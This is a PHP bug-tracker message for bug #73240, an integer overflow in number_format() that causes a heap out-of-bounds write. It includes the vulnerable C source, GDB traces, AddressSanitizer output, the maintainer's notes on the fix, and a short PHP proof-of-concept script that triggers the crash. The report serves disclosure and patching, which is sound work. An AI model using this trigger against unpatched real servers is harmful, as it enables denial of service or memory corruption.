Sec Bug->Bug #73240 [Csd]: Write out of bounds at number_format

From: Date: Mon, 13 Feb 2017 01:11:25 +0000
Subject: Sec Bug->Bug #73240 [Csd]: Write out of bounds at number_format
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-207325@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=73240&edit=1 ID: 73240 Updated by: stas@php.net Reported by: fernando at null-life dot com Summary: Write out of bounds at number_format Status: Closed -Type: Security +Type: Bug Package: Strings related Operating System: * PHP Version: 5.6.26 Assigned To: stas Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2016-10-11 23:48:16] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. ------------------------------------------------------------------------ [2016-10-11 06:50:47] stas@php.net please verify ------------------------------------------------------------------------ [2016-10-11 06:50:33] stas@php.net The fix is in security repo as 3b5262ec4c9a6f985f8ff1fb4a7bed18f1b48f75 and in https://gist.github.com/196d7aee3ac1b3e8bb29305616914c7b ------------------------------------------------------------------------ [2016-10-04 13:23:50] fernando at null-life dot com Description: ------------ When decimals parameter and dec_point length parameter are equal or close to 0x7fffffff, integer overflow occurs in reslen variable, and causes a write heap overflow Source code: https://github.com/php/php-src/blob/master/ext/standard/math.c#L1107 PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point, size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len) { zend_string *res; zend_string *tmpbuf; char *s, *t; /* source, target */ char *dp; int integral; int reslen = 0; int count = 0; int is_negative=0; if (d < 0) { is_negative = 1; d = -d; } dec = MAX(0, dec); d = _php_math_round(d, dec, PHP_ROUND_HALF_UP); tmpbuf = strpprintf(0, "%.*F", dec, d); if (tmpbuf == NULL) { return NULL; } else if (!isdigit((int)ZSTR_VAL(tmpbuf)[0])) { return tmpbuf; } /* find decimal point, if expected */ if (dec) { dp = strpbrk(ZSTR_VAL(tmpbuf), ".,"); } else { dp = NULL; } /* calculate the length of the return buffer */ if (dp) { integral = (int)(dp - ZSTR_VAL(tmpbuf)); } else { /* no decimal point was found */ integral = (int)ZSTR_LEN(tmpbuf); } /* allow for thousand separators */ if (thousand_sep) { integral += (int)(thousand_sep_len * ((integral-1) / 3)); } reslen = integral; if (dec) { reslen += dec; // Integer overflow if (dec_point) { reslen += (int)dec_point_len; } } /* add a byte for minus sign */ if (is_negative) { reslen++; } res = zend_string_alloc(reslen, 0); s = ZSTR_VAL(tmpbuf) + ZSTR_LEN(tmpbuf) - 1; t = ZSTR_VAL(res) + reslen; *t-- = '\0'; /* copy the decimal places. * Take care, as the sprintf implementation may return less places than * we requested due to internal buffer limitations */ if (dec) { int declen = (int)(dp ? s - dp : 0); int topad = dec > declen ? dec - declen : 0; /* pad with '0's */ while (topad--) { *t-- = '0'; // NULL write out of bounds } ... GDB output: USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build4/bin/php -n poc.php ... gdb-peda$ b math.c:1168 Breakpoint 2 at 0x1497c0c: file /home/operac/build4/php-src/ext/standard/math.c, line 1168. gdb-peda$ r Starting program: /home/operac/build4/bin/php -n poc.php ... Breakpoint 2, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1) at /home/operac/build4/php-src/ext/standard/math.c:1168 1168 reslen += dec; gdb-peda$ p reslen $1 = 0x5 gdb-peda$ p dec $2 = 0x7fffffff gdb-peda$ p/d reslen+dec $4 = -2147483644 /* Integer overflow */ gdb-peda$ b math.c:1176 Breakpoint 3 at 0x1497460: file /home/operac/build4/php-src/ext/standard/math.c, line 1176. gdb-peda$ c Continuing. ... Breakpoint 3, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1) at /home/operac/build4/php-src/ext/standard/math.c:1177 1177 reslen++; gdb-peda$ p reslen $5 = 0x3 /* reslen decreases*/ gdb-peda$ b math.c:1193 Breakpoint 4 at 0x1497c5b: file /home/operac/build4/php-src/ext/standard/math.c, line 1193. gdb-peda$ c ... Breakpoint 4, _php_math_number_format_ex (d=<optimized out>, dec=<optimized out>, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1) at /home/operac/build4/php-src/ext/standard/math.c:1193 1193 while (topad--) { 1194 *t-- = '0'; 1195 } gdb-peda$ p/d topad $6 = 2147483329 /* NULL write out of bounds */ Test script: --------------- <?php ini_set('memory_limit', -1); $v2=0x7fffffff; $v3=str_repeat("/", 0x7fffffff); number_format(1234.56789, $v2, $v3, ","); Expected result: ---------------- No crash Actual result: -------------- ==7315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300006e6af at pc 0x00000149844b bp 0x7ffffc2814a0 sp 0x7ffffc281490 WRITE of size 1 at 0x60300006e6af thread T0 #0 0x149844a in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1194 #1 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268 #2 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586 #3 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414 #4 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458 #5 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427 #6 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494 #7 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974 #8 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344 #9 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8) 0x60300006e6af is located 1 bytes to the left of 32-byte region [0x60300006e6b0,0x60300006e6d0) allocated by thread T0 here: #0 0x7f50f727b602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x1860ec0 in __zend_malloc /home/operac/build4/php-src/Zend/zend_alloc.c:2866 #2 0x149748c in zend_string_alloc /home/operac/build4/php-src/Zend/zend_string.h:121 #3 0x149748c in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1179 #4 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268 #5 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586 #6 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414 #7 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458 #8 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427 #9 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494 #10 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974 #11 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344 #12 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/build4/php-src/ext/standard/math.c:1194 _php_math_number_format_ex ... ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=73240&edit=1

« previous php.bugs (#207325) next »